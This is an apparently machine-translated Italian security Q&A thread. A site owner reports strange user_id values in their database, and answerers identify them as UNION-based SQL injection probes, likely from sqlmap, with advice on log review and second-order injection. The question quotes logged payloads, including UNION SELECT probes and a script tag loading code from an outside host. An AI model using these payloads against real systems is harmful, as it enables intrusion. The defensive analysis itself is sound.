Si tratta di un attacco SQL injection o è una specie di bug?

Naviga le tue risposte
70

Stavo guardando alcuni dati nel nostro database quando ho trovato un po 'di strane voci user_id : 

user_id
-1080) ORDER BY 1#
-1149 UNION ALL SELECT 79,79,79,79,79,79,79,79,79#
-1359' UNION ALL SELECT 79,79,79,79,79,79,79,79,79,79-- JwSh
-1409' ORDER BY 2678#
-1480' UNION ALL SELECT 79,79,79#
-1675 UNION ALL SELECT 79,79,79#
-1760 UNION ALL SELECT 79,79,79,79,79,79,79-- znFh
-1817 UNION ALL SELECT 79,79,79,79,79,79#
-1841 UNION ALL SELECT 79,79,79,79,79,79,79,79,79-- WiHF
-2265) UNION ALL SELECT 79,79,79,79,79,79#
-2365 UNION ALL SELECT 79,79,79,79,79,79,79#
-2387%' UNION ALL SELECT 79,79,79,79,79-- PHug
-2535') UNION ALL SELECT 79,79,79,79,79,79#
-2670%' ORDER BY 1#
-2847 ORDER BY 2974-- vCjk
-2922%' UNION ALL SELECT 79,79,79-- PgNW
-3097%' UNION ALL SELECT 79,79,79,79,79,79,79-- vJzG
-3675 UNION ALL SELECT 79,79,79#

Non sembra che si stia tentando qualcosa di malizioso, quindi una parte di me pensa che questo potrebbe essere stato causato da una specie di bug, ma poi è ancora piuttosto sospetto vedere SQL all'interno delle voci di dati.

Che cosa potrebbe provare a fare?

Ecco alcuni esempi che ho trovato che potrebbero essere interessanti: 

"><script src=http://xs7x.win/yRjYja></script>JSON #36*
"><script src=http://xs7x.win/yRjYja></script>JSON #98*
(SELECT CONCAT(0x717a627071,(SELECT (ELT(2849=2849,1))),0x716b627871))
    
posta turnip 29.09.2017 - 11:54
fonte

3 risposte

42

Dai un'occhiata agli attacchi SQL di "Union Injection" come qui .

Fondamentalmente, sta provando vari metodi per identificare il numero di colonne nella query, cercando quello che ha avuto successo. Le righe order by tentano di rilevare la differenza tra i dati ordinati da colonne specifiche e un errore causato dal tentativo di ordinare da una colonna inesistente, mentre select cercano di ottenere un comando UNION valido per funzionare - questo funziona solo quando le due query combinate in un'unione hanno lo stesso numero di colonne.

Dalle lettere casuali alla fine di alcune linee, è probabile che ci sia qualcuno che esegue lo strumento sqlmap sul tuo modulo, ma il fatto che tu li abbia trovati nel tuo database è una buona cosa - suggerisce che il tentativo fallito , anche se è possibile che queste siano solo parti fallite di un attacco riuscito.

    
risposta data 29.09.2017 - 12:13
fonte
83

Questo è il risultato di qualcuno che tenta di sfruttare un'iniezione SQL sul tuo sito. Qualcuno ha provato a rilevare se il tuo sito web fosse vulnerabile a un basato sui sindacati iniezione . Per tutti i record che vedi, non sembra aver funzionato.

Dovresti controllare i tuoi accessi e i log degli errori per il timespan interessato per vedere se sono state fatte ulteriori richieste.

Una cosa sospetta che ho notato è che non vedo voci contenenti virgolette doppie (") che potrebbero indicare che hanno rotto la funzionalità del sito o un'iniezione usando virgolette doppie contro il tuo sito.

Potresti voler controllare il codice sorgente pertinente per vedere se è stata eseguita una corretta sanitizzazione dei valori dei parametri. Questo potrebbe anche essere spiegato se alcune altre parti del tuo setup hanno bloccato richieste con doppie virgolette o iniezioni con esse non sono state tentate.

    
risposta data 29.09.2017 - 12:08
fonte
30

Oltre alle buone risposte già fornite, affermando che questi sono probabilmente segni di tentativi non riusciti , vorrei aggiungere che questi ID utente possono far parte di un successo iniezione.

Questo non è puramente teorico. Ho riscontrato situazioni in cui i risultati di una query di selezione vengono utilizzati senza una corretta convalida dell'input in una seconda query. Lo sviluppatore potrebbe validare solo l'input dell'utente diretto e (a torto) assumere che qualsiasi cosa proveniente da il database sia sicura. Quindi, fino a memorizzare questi valori di ID utente, non c'è nulla di sbagliato, ma nelle query successive la magia accade. Particolarmente pericolosi sono i campi interi che si trasformano in stringhe, poiché gli integer vengono spesso utilizzati senza escape o virgolette.

Nota a margine: è molto efficace registrare e notificare ogni singola query, poiché è quasi impossibile eseguire un'iniezione su un sistema sconosciuto senza innescare almeno alcuni errori. Oltre a questo, nessuna query dovrebbe mai fallire (come in: errore di sintassi) in un sistema di produzione.

    
risposta data 30.09.2017 - 10:08
fonte

Leggi altre domande sui tag

Qual era lo scopo di questa richiesta HTTP non valida che racconta una storia di capre nell'URI della richiesta? Il bcrypt ha una lunghezza massima della password?